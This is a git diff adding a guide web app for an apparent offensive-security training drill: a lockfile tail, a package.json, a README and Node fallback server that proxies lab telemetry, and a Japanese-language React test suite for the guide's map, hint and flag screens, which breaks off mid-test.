+      "license": "MIT",
+      "dependencies": {
+        "@exodus/bytes": "^1.11.0",
+        "tr46": "^6.0.0",
+        "webidl-conversions": "^8.0.1"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/why-is-node-running": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz",
+      "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "siginfo": "^2.0.0",
+        "stackback": "0.0.2"
+      },
+      "bin": {
+        "why-is-node-running": "cli.js"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/xml-name-validator": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz",
+      "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/xmlchars": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz",
+      "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/yallist": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
+      "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==",
+      "license": "ISC"
+    },
+    "node_modules/zustand": {
+      "version": "4.5.7",
+      "resolved": "https://registry.npmjs.org/zustand/-/zustand-4.5.7.tgz",
+      "integrity": "sha512-CHOUy7mu3lbD6o6LJLfllpjkzhHXSBlX8B9+qPddUsIfeF5S/UZ5q0kmCsnRqT1UHFQZchNFDDzMbQsuesHWlw==",
+      "license": "MIT",
+      "dependencies": {
+        "use-sync-external-store": "^1.2.2"
+      },
+      "engines": {
+        "node": ">=12.7.0"
+      },
+      "peerDependencies": {
+        "@types/react": ">=16.8",
+        "immer": ">=9.0.6",
+        "react": ">=16.8"
+      },
+      "peerDependenciesMeta": {
+        "@types/react": {
+          "optional": true
+        },
+        "immer": {
+          "optional": true
+        },
+        "react": {
+          "optional": true
+        }
+      }
+    }
+  }
+}
diff --git a/apps/lab-guide/package.json b/apps/lab-guide/package.json
new file mode 100644
index 0000000..7c0b1f6
--- /dev/null
+++ b/apps/lab-guide/package.json
@@ -0,0 +1,35 @@
+{
+  "name": "lab-guide",
+  "version": "0.0.0",
+  "private": true,
+  "type": "module",
+  "scripts": {
+    "dev": "vite",
+    "build": "vite build",
+    "preview": "vite preview",
+    "test": "vitest run && node --test tests/target-server.test.mjs tests/cloud-*.test.mjs",
+    "test:server": "node --test tests/target-server.test.mjs",
+    "typecheck": "tsc --noEmit"
+  },
+  "dependencies": {
+    "@fontsource-variable/geist-mono": "^5.3.0",
+    "@tabler/icons-react": "^3.45.0",
+    "@upstash/redis": "^1.38.0",
+    "@vitejs/plugin-react": "5.0.4",
+    "@xyflow/react": "^12.11.0",
+    "react": "19.2.0",
+    "react-dom": "19.2.0",
+    "vite": "6.4.3"
+  },
+  "devDependencies": {
+    "@rollup/rollup-win32-x64-msvc": "^4.62.2",
+    "@testing-library/jest-dom": "^6.9.1",
+    "@testing-library/react": "^16.3.2",
+    "@testing-library/user-event": "^14.6.1",
+    "@types/react": "^19.2.17",
+    "@types/react-dom": "^19.2.3",
+    "jsdom": "^29.1.1",
+    "typescript": "^5.9.3",
+    "vitest": "^4.1.10"
+  }
+}
diff --git a/apps/lab-guide/public/og.png b/apps/lab-guide/public/og.png
new file mode 100644
index 0000000..badf602
Binary files /dev/null and b/apps/lab-guide/public/og.png differ
diff --git a/apps/lab-guide/server/README.md b/apps/lab-guide/server/README.md
new file mode 100644
index 0000000..567527d
--- /dev/null
+++ b/apps/lab-guide/server/README.md
@@ -0,0 +1,30 @@
+# Kali local-only fallback server
+
+`server/index.mjs` is the dependency-free fallback for a fully offline drill.
+It runs on Kali, serves `dist/client` on loopback, and forwards only
+`/api/session/*` to the direct-link target telemetry API. It injects the
+Bridge bearer token server-side; the browser never receives that token.
+
+The normal participant path is the public Vercel/ExamServer guide selected by
+`LAB_PUBLIC_ORIGIN`, followed by a short-lived pairing code from Kali Bridge.
+This fallback is separate and must never be installed or run on Debian.
+
+From a repository copy on Kali:
+
+```text
+npm --prefix apps/lab-guide run build
+read -rsp 'Target telemetry token: ' BRIDGE_TARGET_TOKEN
+export BRIDGE_TARGET_TOKEN
+printf '\n'
+LAB_GUIDE_HOST=127.0.0.1 \
+LAB_GUIDE_PORT=8080 \
+LAB_TELEMETRY_HOST=10.13.37.10 \
+LAB_TELEMETRY_PORT=8787 \
+node apps/lab-guide/server/index.mjs
+```
+
+Open `http://127.0.0.1:8080/?local=1` in Kali's own browser. The server defaults
+to guide loopback `127.0.0.1:8080` and target telemetry
+`10.13.37.10:8787`. `LAB_GUIDE_DIST` can select an alternate built client.
+`BRIDGE_TARGET_TOKEN` is required, must contain 32–512 visible
+non-whitespace characters, and must not be written to logs or evidence.
diff --git a/apps/lab-guide/server/index.mjs b/apps/lab-guide/server/index.mjs
new file mode 100644
index 0000000..2d1d67b
--- /dev/null
+++ b/apps/lab-guide/server/index.mjs
@@ -0,0 +1,424 @@
+import { createReadStream } from "node:fs";
+import { realpath, stat } from "node:fs/promises";
+import http from "node:http";
+import path from "node:path";
+import { fileURLToPath, pathToFileURL } from "node:url";
+
+const DEFAULT_STATIC_ROOT = fileURLToPath(
+  new URL("../dist/client/", import.meta.url),
+);
+const MAX_URL_LENGTH = 4096;
+const TELEMETRY_REQUEST_TIMEOUT_MS = 2_000;
+const HOP_BY_HOP_HEADERS = new Set([
+  "connection",
+  "keep-alive",
+  "proxy-authenticate",
+  "proxy-authorization",
+  "te",
+  "trailer",
+  "transfer-encoding",
+  "upgrade",
+]);
+const CONTENT_TYPES = new Map([
+  [".css", "text/css; charset=utf-8"],
+  [".html", "text/html; charset=utf-8"],
+  [".ico", "image/x-icon"],
+  [".jpeg", "image/jpeg"],
+  [".jpg", "image/jpeg"],
+  [".js", "text/javascript; charset=utf-8"],
+  [".json", "application/json; charset=utf-8"],
+  [".map", "application/json; charset=utf-8"],
+  [".png", "image/png"],
+  [".svg", "image/svg+xml"],
+  [".webp", "image/webp"],
+  [".woff", "font/woff"],
+  [".woff2", "font/woff2"],
+]);
+
+class HttpError extends Error {
+  constructor(status, code, message) {
+    super(message);
+    this.status = status;
+    this.code = code;
+  }
+}
+
+function securityHeaders() {
+  return {
+    "Content-Security-Policy":
+      "default-src 'self'; connect-src 'self'; font-src 'self'; img-src 'self' data:; script-src 'self'; style-src 'self' 'unsafe-inline'; base-uri 'none'; frame-ancestors 'none'; form-action 'self'",
+    "Referrer-Policy": "no-referrer",
+    "X-Content-Type-Options": "nosniff",
+    "X-Frame-Options": "DENY",
+  };
+}
+
+function writeJson(response, status, body, extraHeaders = {}) {
+  const payload = `${JSON.stringify(body)}\n`;
+  response.writeHead(status, {
+    ...securityHeaders(),
+    "Cache-Control": "no-store",
+    "Content-Type": "application/json; charset=utf-8",
+    "Content-Length": Buffer.byteLength(payload),
+    ...extraHeaders,
+  });
+  response.end(payload);
+}
+
+function writeError(response, error) {
+  const status =
+    error instanceof HttpError && Number.isInteger(error.status)
+      ? error.status
+      : 500;
+  const code =
+    error instanceof HttpError ? error.code : "internal_server_error";
+  const message =
+    error instanceof HttpError
+      ? error.message
+      : "ガイドを表示できませんでした。";
+  writeJson(response, status, { error: { code, message } });
+}
+
+function parseRequestUrl(rawUrl) {
+  if (!rawUrl || rawUrl.length > MAX_URL_LENGTH) {
+    throw new HttpError(400, "invalid_url", "URLが不正です。");
+  }
+
+  const rawPath = rawUrl.split("?", 1)[0];
+  let decodedPath;
+  try {
+    decodedPath = decodeURIComponent(rawPath);
+  } catch {
+    throw new HttpError(400, "invalid_url", "URLが不正です。");
+  }
+
+  if (
+    decodedPath.includes("\\") ||
+    decodedPath.includes("\0") ||
+    decodedPath.split("/").some((segment) => segment === "..")
+  ) {
+    throw new HttpError(400, "unsafe_path", "安全でないパスです。");
+  }
+
+  let url;
+  try {
+    url = new URL(rawUrl, "http://guide.local");
+  } catch {
+    throw new HttpError(400, "invalid_url", "URLが不正です。");
+  }
+  return { decodedPath, url };
+}
+
+function isInside(root, candidate) {
+  const relative = path.relative(root, candidate);
+  return (
+    relative === "" ||
+    (!relative.startsWith(`..${path.sep}`) &&
+      relative !== ".." &&
+      !path.isAbsolute(relative))
+  );
+}
+
+async function findStaticFile(rootRealPath, relativePath) {
+  const candidate = path.resolve(rootRealPath, relativePath);
+  if (!isInside(rootRealPath, candidate)) {
+    throw new HttpError(400, "unsafe_path", "安全でないパスです。");
+  }
+
+  try {
+    const candidateRealPath = await realpath(candidate);
+    if (!isInside(rootRealPath, candidateRealPath)) {
+      throw new HttpError(400, "unsafe_path", "安全でないパスです。");
+    }
+    const fileStat = await stat(candidateRealPath);
+    return fileStat.isFile()
+      ? { filePath: candidateRealPath, size: fileStat.size }
+      : undefined;
+  } catch (error) {
+    if (error instanceof HttpError) throw error;
+    if (error?.code === "ENOENT" || error?.code === "ENOTDIR") {
+      return undefined;
+    }
+    throw error;
+  }
+}
+
+function isSpaRoute(decodedPath) {
+  const lastSegment = decodedPath.split("/").at(-1) ?? "";
+  return !lastSegment.includes(".");
+}
+
+async function serveStatic({
+  request,
+  response,
+  decodedPath,
+  rootRealPath,
+}) {
+  const relativePath =
+    decodedPath === "/" ? "index.html" : decodedPath.replace(/^\/+/, "");
+  let file = await findStaticFile(rootRealPath, relativePath);
+  let isSpaFallback = false;
+
+  if (!file && isSpaRoute(decodedPath)) {
+    file = await findStaticFile(rootRealPath, "index.html");
+    isSpaFallback = true;
+  }
+
+  if (!file) {
+    throw new HttpError(404, "not_found", "ファイルが見つかりません。");
+  }
+
+  const extension = path.extname(file.filePath).toLowerCase();
+  const isHtml = extension === ".html";
+  response.writeHead(200, {
+    ...securityHeaders(),
+    "Cache-Control":
+      isHtml || isSpaFallback
+        ? "no-cache"
+        : relativePath.startsWith("assets/")
+          ? "public, max-age=31536000, immutable"
+          : "public, max-age=3600",
+    "Content-Type":
+      CONTENT_TYPES.get(extension) ?? "application/octet-stream",
+    "Content-Length": file.size,
+  });
+
+  if (request.method === "HEAD") {
+    response.end();
+    return;
+  }
+
+  const stream = createReadStream(file.filePath);
+  stream.on("error", (error) => {
+    if (!response.headersSent) {
+      writeError(response, error);
+    } else {
+      response.destroy(error);
+    }
+  });
+  stream.pipe(response);
+}
+
+function copyUpstreamHeaders(headers) {
+  const copied = {};
+  for (const [name, value] of Object.entries(headers)) {
+    if (
+      value !== undefined &&
+      !HOP_BY_HOP_HEADERS.has(name.toLowerCase())
+    ) {
+      copied[name] = value;
+    }
+  }
+  return copied;
+}
+
+function proxySessionRequest({
+  request,
+  response,
+  url,
+  telemetryHost,
+  telemetryPort,
+  telemetryToken,
+}) {
+  const forwardedHeaders = {};
+  for (const name of [
+    "accept",
+    "content-length",
+    "content-type",
+    "last-event-id",
+  ]) {
+    const value = request.headers[name];
+    if (value !== undefined) forwardedHeaders[name] = value;
+  }
+  forwardedHeaders.authorization = `Bearer ${telemetryToken}`;
+
+  const upstream = http.request(
+    {
+      host: telemetryHost,
+      port: telemetryPort,
+      method: request.method,
+      path: `${url.pathname}${url.search}`,
+      headers: forwardedHeaders,
+      timeout: TELEMETRY_REQUEST_TIMEOUT_MS,
+    },
+    (upstreamResponse) => {
+      response.writeHead(upstreamResponse.statusCode ?? 502, {
+        ...securityHeaders(),
+        ...copyUpstreamHeaders(upstreamResponse.headers),
+      });
+      upstreamResponse.pipe(response);
+    },
+  );
+
+  upstream.on("error", (error) => {
+    if (!response.headersSent) {
+      writeJson(response, 502, {
+        error: {
+          code: "telemetry_unavailable",
+          message: "進行状況へ接続できません。",
+        },
+      });
+    } else {
+      response.destroy(error);
+    }
+  });
+  upstream.on("timeout", () => {
+    upstream.destroy(new Error("telemetry request timed out"));
+  });
+  request.on("aborted", () => upstream.destroy());
+  response.on("close", () => {
+    if (!response.writableEnded) upstream.destroy();
+  });
+  request.pipe(upstream);
+}
+
+export function createGuideServer({
+  staticRoot = DEFAULT_STATIC_ROOT,
+  telemetryHost = "10.13.37.10",
+  telemetryPort = 8787,
+  telemetryToken,
+} = {}) {
+  const rootRealPathPromise = realpath(path.resolve(staticRoot));
+
+  const server = http.createServer(async (request, response) => {
+    try {
+      const { decodedPath, url } = parseRequestUrl(request.url);
+      const isSessionApi = decodedPath.startsWith("/api/session/");
+      const isAnyApi = decodedPath === "/api" || decodedPath.startsWith("/api/");
+
+      if (isSessionApi) {
+        if (request.method !== "GET" && request.method !== "POST") {
+          throw new HttpError(
+            405,
+            "method_not_allowed",
+            "この操作方法には対応していません。",
+          );
+        }
+        if (!telemetryToken) {
+          throw new HttpError(
+            503,
+            "telemetry_auth_unavailable",
+            "ローカル接続の認証設定がありません。",
+          );
+        }
+        proxySessionRequest({
+          request,
+          response,
+          url,
+          telemetryHost,
+          telemetryPort,
+          telemetryToken,
+        });
+        return;
+      }
+
+      if (isAnyApi) {
+        throw new HttpError(404, "not_found", "このAPIはありません。");
+      }
+
+      if (request.method !== "GET" && request.method !== "HEAD") {
+        throw new HttpError(
+          405,
+          "method_not_allowed",
+          "この操作方法には対応していません。",
+        );
+      }
+
+      await serveStatic({
+        request,
+        response,
+        decodedPath,
+        rootRealPath: await rootRealPathPromise,
+      });
+    } catch (error) {
+      if (response.headersSent) {
+        response.destroy(error);
+        return;
+      }
+      const allow =
+        error instanceof HttpError && error.status === 405
+          ? request.url?.startsWith("/api/session/")
+            ? "GET, POST"
+            : "GET, HEAD"
+          : undefined;
+      if (allow) {
+        response.setHeader("Allow", allow);
+      }
+      writeError(response, error);
+    }
+  });
+
+  server.requestTimeout = 30_000;
+  server.headersTimeout = 15_000;
+  server.keepAliveTimeout = 5_000;
+  return server;
+}
+
+function parsePort(value, name) {
+  const port = Number.parseInt(value, 10);
+  if (!Number.isInteger(port) || port < 1 || port > 65_535) {
+    throw new Error(`${name} must be an integer from 1 to 65535`);
+  }
+  return port;
+}
+
+function parseSecret(value, name) {
+  if (
+    typeof value !== "string" ||
+    value.length < 32 ||
+    value.length > 512 ||
+    /[\s\u0000-\u001f\u007f]/.test(value)
+  ) {
+    throw new Error(
+      `${name} must contain 32-512 visible non-whitespace characters`,
+    );
+  }
+  return value;
+}
+
+export function readRuntimeConfig(environment = process.env) {
+  return {
+    host: environment.LAB_GUIDE_HOST ?? "127.0.0.1",
+    port: parsePort(environment.LAB_GUIDE_PORT ?? "8080", "LAB_GUIDE_PORT"),
+    staticRoot: environment.LAB_GUIDE_DIST ?? DEFAULT_STATIC_ROOT,
+    telemetryHost: environment.LAB_TELEMETRY_HOST ?? "10.13.37.10",
+    telemetryPort: parsePort(
+      environment.LAB_TELEMETRY_PORT ?? "8787",
+      "LAB_TELEMETRY_PORT",
+    ),
+    telemetryToken: parseSecret(
+      environment.BRIDGE_TARGET_TOKEN,
+      "BRIDGE_TARGET_TOKEN",
+    ),
+  };
+}
+
+function isMainModule() {
+  if (!process.argv[1]) return false;
+  return import.meta.url === pathToFileURL(path.resolve(process.argv[1])).href;
+}
+
+if (isMainModule()) {
+  const config = readRuntimeConfig();
+  const server = createGuideServer(config);
+  server.once("error", (error) => {
+    process.stderr.write(`open-world guide failed: ${error.message}\n`);
+    process.exitCode = 1;
+  });
+  server.listen(config.port, config.host, () => {
+    process.stdout.write(
+      `open-world guide ready http=${config.host}:${config.port} telemetry=${config.telemetryHost}:${config.telemetryPort}\n`,
+    );
+  });
+
+  const shutdown = () => {
+    server.close((error) => {
+      if (error) {
+        process.stderr.write(`open-world guide shutdown failed: ${error.message}\n`);
+        process.exitCode = 1;
+      }
+    });
+  };
+  process.once("SIGINT", shutdown);
+  process.once("SIGTERM", shutdown);
+}
diff --git a/apps/lab-guide/src/App.test.tsx b/apps/lab-guide/src/App.test.tsx
new file mode 100644
index 0000000..3a0764f
--- /dev/null
+++ b/apps/lab-guide/src/App.test.tsx
@@ -0,0 +1,787 @@
+import { render, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import {
+  ApiLabClient,
+  normalizeProjection,
+  resolveLabClient,
+} from "./api";
+import { App } from "./App";
+import { createBrowseClient } from "./browse";
+import { ExplorationMap } from "./components/ExplorationMap";
+import { ManualFlagForm } from "./components/ManualFlagForm";
+import {
+  fallbackPositionFor,
+  WORLD_POSITIONS,
+} from "./components/MapCanvas";
+import { SituationConsultation } from "./components/SituationConsultation";
+import { createFixtureClient } from "./fixtures";
+import { THEME_STORAGE_KEY } from "./theme";
+import type { LabClient, LabProjection } from "./types";
+
+describe("Lab guide", () => {
+  it("does not probe a target API on a normal public first visit", async () => {
+    window.localStorage.removeItem("examserver.lab.live-session.v1");
+    window.history.replaceState({}, "", "/");
+    const fetchSpy = vi.spyOn(globalThis, "fetch");
+
+    const resolved = await resolveLabClient();
+
+    expect(resolved.experience).toBe("browse");
+    expect(fetchSpy).not.toHaveBeenCalled();
+    fetchSpy.mockRestore();
+  });
+
+  it("allows bounded SSE to reconnect before showing a connection error", async () => {
+    const projection = await createFixtureClient("live").getState();
+    vi.useFakeTimers();
+
+    class FakeEventSource {
+      static instance: FakeEventSource | undefined;
+      onmessage: ((event: MessageEvent<string>) => void) | null = null;
+      onerror: ((event: Event) => void) | null = null;
+      private listeners = new Map<string, EventListener>();
+
+      constructor(_url: string) {
+        FakeEventSource.instance = this;
+      }
+
+      addEventListener(type: string, listener: EventListener) {
+        this.listeners.set(type, listener);
+      }
+
+      emitState(value: LabProjection) {
+        this.listeners.get("state")?.(
+          new MessageEvent("state", { data: JSON.stringify(value) }),
+        );
+      }
+
+      close() {}
+    }
+
+    vi.stubGlobal("EventSource", FakeEventSource);
+    try {
+      const onProjection = vi.fn();
+      const onError = vi.fn();
+      const unsubscribe = new ApiLabClient().subscribe(
+        onProjection,
+        onError,
+      );
+      const source = FakeEventSource.instance!;
+
+      source.onerror?.(new Event("error"));
+      await vi.advanceTimersByTimeAsync(3_499);
+      expect(onError).not.toHaveBeenCalled();
+
+      source.emitState(projection);
+      await vi.advanceTimersByTimeAsync(4_000);
+      expect(onProjection).toHaveBeenCalledTimes(1);
+      expect(onError).not.toHaveBeenCalled();
+
+      source.onerror?.(new Event("error"));
+      await vi.advanceTimersByTimeAsync(3_500);
+      expect(onError).toHaveBeenCalledTimes(1);
+      unsubscribe();
+    } finally {
+      vi.useRealTimers();
+      vi.unstubAllGlobals();
+    }
+  });
+
+  it("stays useful as a public guide without a target session", async () => {
+    const user = userEvent.setup();
+    render(
+      <App
+        client={createBrowseClient()}
+        initialExperience="browse"
+      />,
+    );
+
+    expect(
+      await screen.findByRole("heading", {
+        name: "風切モータースの世界を先に歩く",
+      }),
+    ).toBeVisible();
+    expect(screen.getByText("公開ガイド")).toBeVisible();
+    expect(screen.queryByLabelText(/接続コード/)).not.toBeInTheDocument();
+    expect(screen.queryByRole("dialog")).not.toBeInTheDocument();
+    const pairingPull = screen.getByRole("button", {
+      name: /^ライブ接続、6文字を開く$/,
+    });
+    expect(pairingPull).toHaveAttribute("aria-expanded", "false");
+
+    await user.click(pairingPull);
+    const pairingDialog = screen.getByRole("dialog", { name: "ライブ接続" });
+    expect(within(pairingDialog).getByLabelText(/接続コード/)).toBeVisible();
+    expect(
+      within(pairingDialog).getByRole("button", { name: "ライブ接続" }),
+    ).toBeDisabled();
+    expect(
+      screen.queryByRole("button", { name: "演習を終了" }),
+    ).not.toBeInTheDocument();
+    expect(screen.queryByLabelText("見つけたflag")).not.toBeInTheDocument();
+  });
+
+  it("traps focus in one requested drawer and returns it to its pull", async () => {
+    const user = userEvent.setup();
+    render(
+      <App
+        client={createBrowseClient()}
+        initialExperience="browse"
+      />,
+    );
+
+    const pairingPull = await screen.findByRole("button", {
+      name: /^ライブ接続、6文字を開く$/,
+    });
+    pairingPull.focus();
+    await user.click(pairingPull);
+
+    const dialog = screen.getByRole("dialog", { name: "ライブ接続" });
+    const close = within(dialog).getByRole("button", {
+      name: "ライブ接続を閉じる",
+    });
+    const input = within(dialog).getByLabelText(/接続コード/);
+    expect(screen.getAllByRole("dialog")).toHaveLength(1);
+    expect(close).toHaveFocus();
+
+    await user.tab({ shift: true });
+    expect(input).toHaveFocus();
+    await user.tab();
+    expect(close).toHaveFocus();
+
+    await user.keyboard("{Escape}");
+    expect(screen.queryByRole("dialog")).not.toBeInTheDocument();
+    expect(pairingPull).toHaveFocus();
+  });
+
+  it("updates pull counts without opening a drawer on a live discovery", async () => {
+    render(<App client={createFixtureClient("transition")} />);
+
+    expect(
+      await screen.findByRole("heading", {
+        name: "標的との接続を確かめる",
+      }),
+    ).toBeVisible();
+    expect(
+      screen.getByRole("button", { name: /^事実、0件を開く$/ }),
+    ).toBeVisible();
+    expect(screen.queryByRole("dialog")).not.toBeInTheDocument();
+
+    expect(
+      await screen.findByRole(
+        "heading",
+        { name: "Webの入口を発見" },
+        { timeout: 2_000 },
+      ),
+    ).toBeVisible();
+    expect(
+      screen.getByRole("button", { name: /^事実、1件を開く$/ }),
+    ).toBeVisible();
+    expect(
+      screen.getByRole("button", { name: /^最近の発見、1件を開く$/ }),
+    ).toBeVisible();
+    expect(screen.queryByRole("dialog")).not.toBeInTheDocument();
+  });
+
+  it("defaults to PLAY and changes art direction without losing the active screen", async () => {
+    window.localStorage.removeItem(THEME_STORAGE_KEY);
+    document.documentElement.removeAttribute("data-theme");
+    const user = userEvent.setup();
+    render(<App client={createFixtureClient("live")} />);
+
+    await user.click(screen.getByLabelText("見た目 PLAY"));
+    const themeGroup = screen.getByRole("group", { name: "表示テーマ" });
+    expect(
+      within(themeGroup).getByRole("button", {
+        name: "PLAY ポップゲーム",
+      }),
+    ).toHaveAttribute("aria-pressed", "true");
+    expect(document.documentElement).toHaveAttribute("data-theme", "play");
+
+    await user.click(
+      screen.getByRole("button", { name: "状況相談" }),
+    );
+    await user.click(
+      within(themeGroup).getByRole("button", {
+        name: "OPS ハッカー",
+      }),
+    );
+
+    expect(document.documentElement).toHaveAttribute("data-theme", "ops");
+    expect(window.localStorage.getItem(THEME_STORAGE_KEY)).toBe("ops");
+    expect(
+      screen.getByRole("heading", { name: "次に確かめることを選ぶ" }),
+    ).toBeVisible();
+    await user.click(screen.getByLabelText("見た目 OPS"));
+    expect(
+      within(themeGroup).getByRole("button", {
+        name: "OPS ハッカー",
+      }),
+    ).toHaveAttribute("aria-pressed", "true");
+
+    window.localStorage.removeItem(THEME_STORAGE_KEY);
+  });
+
+  it("restores a persisted visual mode", async () => {
+    window.localStorage.setItem(THEME_STORAGE_KEY, "focus");
+    const user = userEvent.setup();
+    render(<App client={createFixtureClient("live")} />);
+
+    expect(await screen.findByLabelText("見た目 FOCUS")).toBeVisible();
+    await user.click(screen.getByLabelText("見た目 FOCUS"));
+    expect(
+      screen.getByRole("button", { name: "FOCUS シンプル" }),
+    ).toHaveAttribute("aria-pressed", "true");
+    expect(document.documentElement).toHaveAttribute("data-theme", "focus");
+
+    window.localStorage.removeItem(THEME_STORAGE_KEY);
+  });
+
+  it("maps telemetry edge states onto tentative and known routes", () => {
+    const projection = normalizeProjection({
+      graph: {
+        nodes: [],
+        edges: [
+          { id: "available", from: "a", to: "b", state: "available" },
+          { id: "discovered", from: "b", to: "c", state: "discovered" },
+        ],
+      },
+    });
+
+    expect(projection.graph.edges).toEqual([
+      { id: "available", from: "a", to: "b", state: "possible" },
+      { id: "discovered", from: "b", to: "c", state: "known" },
+    ]);
+  });
+
+  it("gives every projected world node a unique fallback position", () => {
+    expect(WORLD_POSITIONS.size).toBe(14);
+    expect(
+      new Set(
+        [...WORLD_POSITIONS.values()].map(({ x, y }) => `${x}:${y}`),
+      ).size,
+    ).toBe(14);
+  });
+
+  it("keeps a subset on its stable topology rows", () => {
+    const subset = ["map-01", "map-02", "map-03", "map-05"].map(
+      fallbackPositionFor,
+    );
+    expect(subset[3]).toEqual({ x: 205, y: 155 });
+    expect(subset[3]).not.toEqual(fallbackPositionFor("map-04"));
+  });
+
+  it("exercises all fourteen telemetry map IDs in the success fixture", async () => {
+    const projection = await createFixtureClient("success").getState();
+    expect(projection.graph.nodes.map((node) => node.id)).toEqual(
+      Array.from({ length: 14 }, (_, index) =>
+        `map-${String(index + 1).padStart(2, "0")}`,
+      ),
+    );
+    expect(
+      projection.graph.nodes.every((node) => node.position === undefined),
+    ).toBe(true);
+  });
+
+  it("publishes a live discovery without reloading the client", async () => {
+    vi.useFakeTimers();
+    try {
+      const client = createFixtureClient("transition");
+      const initial = await client.getState();
+      const listener = vi.fn();
+      const unsubscribe = client.subscribe(listener, vi.fn());
+
+      expect(initial.heading).toBe("標的との接続を確かめる");
+      expect(initial.facts).toHaveLength(0);
+
+      await vi.advanceTimersByTimeAsync(900);
+
+      expect(listener).toHaveBeenCalledTimes(1);
+      expect(listener.mock.calls[0][0]).toMatchObject({
+        heading: "Webの入口を発見",
+        progress: { discovered: 1, total: 14 },
+      });
+      expect(listener.mock.calls[0][0].facts[0].label).toBe(
+        "Webサイトが見える",
+      );
+      unsubscribe();
+    } finally {
+      vi.useRealTimers();
+    }
+  });
+
+  it("moves between the exploration map and situation consultation", async () => {
+    const user = userEvent.setup();
+    render(<App client={createFixtureClient("live")} />);
+
+    expect(
+      await screen.findByRole("heading", {
+        name: "中古バイク店の業務サーバを調べる",
+      }),
+    ).toBeVisible();
+    expect(
+      screen.getByRole("progressbar", { name: "14件中3件を発見" }),
+    ).toBeVisible();
+    expect(screen.queryByLabelText("見つけたflag")).not.toBeInTheDocument();
+
+    await user.click(screen.getByRole("button", { name: "状況相談" }));
+
+    expect(
+      screen.getByRole("heading", { name: "次に確かめることを選ぶ" }),
+    ).toBeVisible();
+    expect(
+      screen.getByRole("button", {
+        name: /スタッフ向け画面の入力を試す/,
+      }),
+    ).toHaveAttribute("aria-pressed", "true");
+
+    await user.click(screen.getByRole("button", { name: "地図に戻る" }));
+    expect(
+      screen.getByRole("heading", { name: "探索地図" }),
+    ).toBeVisible();
+  });
+
+  it("selects and commits a hypothesis", async () => {
+    const user = userEvent.setup();
+    render(<App client={createFixtureClient("live")} />);
+
+    await user.click(await screen.findByRole("button", { name: "状況相談" }));
+    await user.click(
+      screen.getByRole("button", {
+        name: /公開ファイルに別の手掛かりがないか探す/,
+      }),
+    );
+
+    expect(
+      screen.getByText("公開範囲に置かれたファイル名と更新時刻を見比べます。"),
+    ).toBeVisible();
+
+    await user.click(
+      screen.getByRole("button", { name: "この仮説で進む" }),
+    );
+
+    expect(
+      await screen.findByText("次に確かめる仮説を記録しました。"),
+    ).toBeInTheDocument();
+  });
+
+  it("unlocks hints in order", async () => {
+    const user = userEvent.setup();
+    render(<App client={createFixtureClient("live")} />);
+
+    await user.click(await screen.findByRole("button", { name: "状況相談" }));
+    await user.click(
+      screen.getByRole("button", { name: /^ヒント、3段階を開く$/ }),
+    );
+    const hintDialog = screen.getByRole("dialog", {
+      name: "必要ならヒント",
+    });
+    expect(
+      within(hintDialog).getByText(
+        "入力した文字と、画面に返る結果の関係を見ます。",
+      ),
+    ).toBeVisible();
+    const operationHint = within(hintDialog).getByRole("button", {
+      name: /^操作例/,
+    });
+    expect(operationHint).toBeDisabled();
+    expect(
+      within(hintDialog).getByText("「使う道具」を確認すると開けます"),
+    ).toBeVisible();
+
+    await user.click(
+      within(hintDialog).getByRole("button", { name: /^使う道具/ }),
+    );
+    expect(
+      await within(hintDialog).findByText(
+        "ブラウザの開発者ツールで、送信された項目を確認します。",
+      ),
+    ).toBeVisible();
+
+    expect(operationHint).toBeEnabled();
+    await user.click(operationHint);
+    expect(
+      await within(hintDialog).findByText(
+        "無害な入力を一つずつ変え、返り方の差を記録します。",
+      ),
+    ).toBeVisible();
+  });
+
+  it("offers manual flag submission only when telemetry is unavailable", async () => {
+    const user = userEvent.setup();
+    render(<App client={createFixtureClient("unavailable")} />);
+
+    await user.click(
+      await screen.findByRole("button", { name: /^次の調査、/ }),
+    );
+    const investigationDialog = screen.getByRole("dialog", {
+      name: "次の調査",
+    });
+    const input = within(investigationDialog).getByLabelText("見つけたflag");
+    await user.type(input, "manual-proof");
+    await user.click(
+      within(investigationDialog).getByRole("button", { name: "提出" }),
+    );
+
+    expect(
+      await within(input.closest("form")!).findByText(
+        "提出を受け付けました。状態をもう一度確認します。",
+      ),
+    ).toBeInTheDocument();
+    expect(
+      screen.getAllByText(
+        "提出を受け付けました。状態をもう一度確認します。",
+      ),
+    ).toHaveLength(1);
+    await waitFor(() => expect(input).toHaveValue(""));
+  });
+
+  it("always offers the post-root Windows bonus flag manually", async () => {
+    const user = userEvent.setup();
+    render(<App client={createFixtureClient("success")} />);
+
+    await user.click(
+      await screen.findByRole("button", { name: /^次の調査、/ }),
+    );
+    const investigationDialog = screen.getByRole("dialog", {
+      name: "次の調査",
+    });
+    expect(
+      within(investigationDialog).getByLabelText("Windowsで見つけたflag"),
+    ).toBeVisible();
+    expect(
+      within(investigationDialog).getByText(
